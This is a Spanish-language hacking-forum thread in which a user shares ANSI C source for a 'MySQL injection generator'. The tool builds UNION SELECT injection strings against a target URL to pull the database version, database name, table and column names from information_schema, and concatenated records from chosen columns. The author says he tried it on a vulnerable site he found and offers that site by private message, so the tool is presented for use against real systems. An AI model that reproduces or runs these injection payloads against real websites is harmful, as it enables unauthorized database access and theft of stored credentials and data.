Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: volteo0101 en 28 Febrero 2011, 15:11 pm



Título: [Tool]Mysql inyection generator.
Publicado por: volteo0101 en 28 Febrero 2011, 15:11 pm
Acabo de terminar un generador de mysql inyeccion que esta escrito en ANSI C, este generador facilita muchisimo la tarea de andar escribiendo la inyeccion, un saludo.

les dejo el archivo en un .rar con el codigo fuente, tambien el codigo fuente lo dejare en el apartado de programacion C.


Links :

http://rapidshare.com/files/450252883/SqlTool.rar


Un saludo ,y espero que les guste me costo un poco de tiempo.

PD :El usuario que quiera agregar alguna opcion al programa , o editarlo a su gusto puede hacerlo , pueden tambien publicarlo donde quieras, solamente dejen una fuente y el autor del programa,en caso que lo toquen lo editen , lo cambien pueden ponerse como release.


Esta en su version 0.1 , por lo tanto es beta , cualquier error pueden decirme , lo probe en una pagina que encontre vulnerable a mysql y funciono , las querys estan bien formuladas, el que quiera la pagina me puede mandar un pm , no la paso por aca para evitar el spam.

ESTA COMPILADO PARA WINDOWS , PERO SOLO PORQUE LLAMO COMANDOS DEL SISTEMA ,PUEDEN CAMBIAR LOS COMANDOS Y FUNCIONA PERFECTAMENTE PARA UNIX Y LINUX.


Título: Re: [Tool]Mysql inyection generator.
Publicado por: Shell Root en 28 Febrero 2011, 20:27 pm
Poned el código aquí... ¬¬!


Título: Re: [Tool]Mysql inyection generator.
Publicado por: volteo0101 en 1 Marzo 2011, 00:00 am
Poned el código aquí... ¬¬!

Código:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define N_ELEMENTOS 999

//PHAMTOM
//Gretz : Fer995,BlackCoder & 3mp3z@ndo
void finalmenu()
{
     printf("\n\n");
printf("1-Volver al menu\n");
     printf("\n2-Salir\n ==> ");
    
 }



void tablax()
{
     system("cls");
     printf("Nombre de tabla a sacar columnas ==>");
    
 }
void ncolumnas()
{
     system("cls");
printf("Numero de columna que se imprime en pantalla ==> ");
 }
void columnas()
{
system("cls");
printf("Si no entendiste este paso , visita la parte de ayuda del programa");
printf("\nNumeros de columnas de la pagina => ");
}

void menu()
{
printf("Menu Utilise el numero de opcion y la tecla enter para seleccionar -->(MySql)\n\n");
printf("\n1-Sacar version del mysql");
printf("\n2-Sacar base de datos que corre la pagina");
printf("\n3-Sacar todas las tablas de la base de datos");
printf("\n4-Sacar todas las columnas de una tabla");
printf("\n5-Sacar registros de la columna de una base de datos\n");
printf("\n\nOpciones\n\n");
printf("\n6-Ayuda");
printf("\n7-Salir");
printf("\n\n\nElige => ");
}
void error()
{
system("cls");
printf("\nError..El programa se ha cerrado.");
printf("\nEsto puede pasar por usar un numero de opciones inexistente o sobrepasar el nivel del buffer del array para mas informacion visite ayuda");
system("pause>Nul");
exit(-1);
}
int main()
{
    system("cls");
int o=0,n=0,c=0,z=0,k=0,ii=0;
char tablaxx[N_ELEMENTOS];

char columna2[N_ELEMENTOS];
char target[N_ELEMENTOS];
char tebla[N_ELEMENTOS];
char columna1[N_ELEMENTOS];
char columnaa[N_ELEMENTOS];
printf("Ejemplo : www.target.com/noticias.php?id=\n\n");
printf("Target vulnerable => ");
scanf("%s",target);
n=strlen(target);
if(n>999)
{
error();
}
if(n<=999)
{
system("cls");


system("title Generador de inyecciones MySql escrito por PHAMTOM.");
menu();
scanf("%d",&o);
if(o==1)
{
columnas();
scanf("%d",&c);
system("cls");
printf("Numero de columna que se imprime en pantalla ==> ");
scanf("%d",&z);
system("cls");
printf("\n\n\n\n\n Use: \n\n\n\t  %s-1+union+select+all+ ",target);
for(int j=0;j<=c;j++)
{
        if(z==j)
        {
                printf("version(),");
                }
              
                        
                                    else{
printf("%d,",j);
}
}
printf("\b \b --");
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
if(ii==1)
{
         main();
         }
         if(ii==2)
         {
                  system("msg * gracias por usar el programa");
                  exit(-1) ;
                  }
                  else
                  {
                      error();
                  }
system("pause>Nul");
}
if(o==2)
{
    
columnas();
scanf("%d",&c);
system("cls");
printf("Numero de columna que se imprime en pantalla ==> ");
scanf("%d",&z);
system("cls");
printf("\n\n\n\n\n Use : \n %s -1+union+select+all + ",target);
for(int j=0;j<=c;j++)
{
        if(z==j)
        {
                printf("database(),");}
                
                                    else{
printf("%d,",j);
}
}
printf("\b \b --");
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
if(ii==1)
{
         main();
         }
         if(ii==2)
         {
                  system("msg * gracias por usar el programa");
                  exit(-1) ;
                  }
                  else
                  {
                      error();
                  }
system("pause>Nul");
}
        if(o==3)
        {
                system("cls");
        printf("Sacar todas las tablas de la base de datos de la pagina\n\n");
printf("\n");
        
                {
columnas();
scanf("%d",&c);
ncolumnas();
scanf("%d",&z);
system("cls");
printf("\n\n\n\n\n Use :\n %s -1+union+select+all+ ",target);
for(int j=0;j<=c;j++)
{
        if(z==j)
        {
                printf("group_concat(table_name),");
                }
                
                                    else{
                                        
printf("%d,",j);

}
}
printf("\b");
printf("+from+information_schema.tables+where+table_schema=database() --");
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
if(ii==1)
{
         main();
         }
         if(ii==2)
         {
                  system("msg * gracias por usar el programa");
                  exit(-1) ;
                  }
                  else
                  {
                      error();
                  }
system("pause>Nul");
}
                    }}
                    if(o==4)
                    {
                            system("cls");
                            printf("\n\nSacar columnas de una tabla\n\n");
                                        
      
        
                {
columnas();
scanf("%d",&c);
ncolumnas();
scanf("%d",&z);
system("cls");
tablax();
scanf("%s",tablaxx);
system("cls");
printf("\n\n\n\n\n use: \n %s-1+union+select+all+",target);
for(int j=0;j<=c;j++)
{
        if(z==j)
        {
                printf("group_concat(column_name),");}
                
                                    else{
printf("%d,",j);
}
}
printf("\b");
printf("+from+information_schema.columns+where+table_name=char(");
int v=strlen(tablaxx);
for(int a=0;a<=v;a++)
{
        printf("%d,",tablaxx[a]);
        }
        printf("\b\b\b) --");
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
if(ii==1)
{
         main();
         }
         if(ii==2)
         {
                  system("msg * gracias por usar el programa");
                  exit(-1) ;
                  }
                  else
                  {
                      error();
                  }
system("pause>Nul");
}
                    }
                            
                            
                            if(o==5)
                            {
                                    system("cls");
                                    printf("Sacar registros de una columna de una DB.\n");
                                    columnas();
                                    scanf("%d",&c);
                                    ncolumnas();
                                    scanf("%d",&z);
                                    system("cls");
                                    printf("Escriba el nombre de la tabla a sacar datos : ");
                                    scanf("%s",tebla);
                                    system("cls");
                                    printf("Escriba la columna 1 : ");
                                    scanf("%s",columna1);
                                    system("cls");
                                    printf("Escriba la columna 2 : ");
                                    scanf("%s",columnaa);
                                    printf("\n\n\n\n\n Use : \n %s-1+union+select+all+",target);
for(int j=0;j<=c;j++)
{
        if(z==j)
        {
                printf("concat(%s,0x3a,%s),",columna1,columnaa);}
                
                                    else{
printf("%d,",j);
}
}
printf("\b \b+from+%s --",tebla);
printf("\n\nDone!!");
finalmenu();
scanf("%d",&ii);
              if(ii==1)
              {
                       main();
                      
                       }            
                       else if(ii>2)
                       {
                            error();
                        }        
                        if(ii==2)
                        {
                                 system("cls");
                                 system("msg * gracias por usar el programa");
                                exit(-1);
                                 }
                                
                              
}
if(o==6)
{
        system("start ayuda.txt");
        }
        if(o==7)
        {
                exit(-1);
                }
                if(o>7)
                {
                       error();
                       }
        
}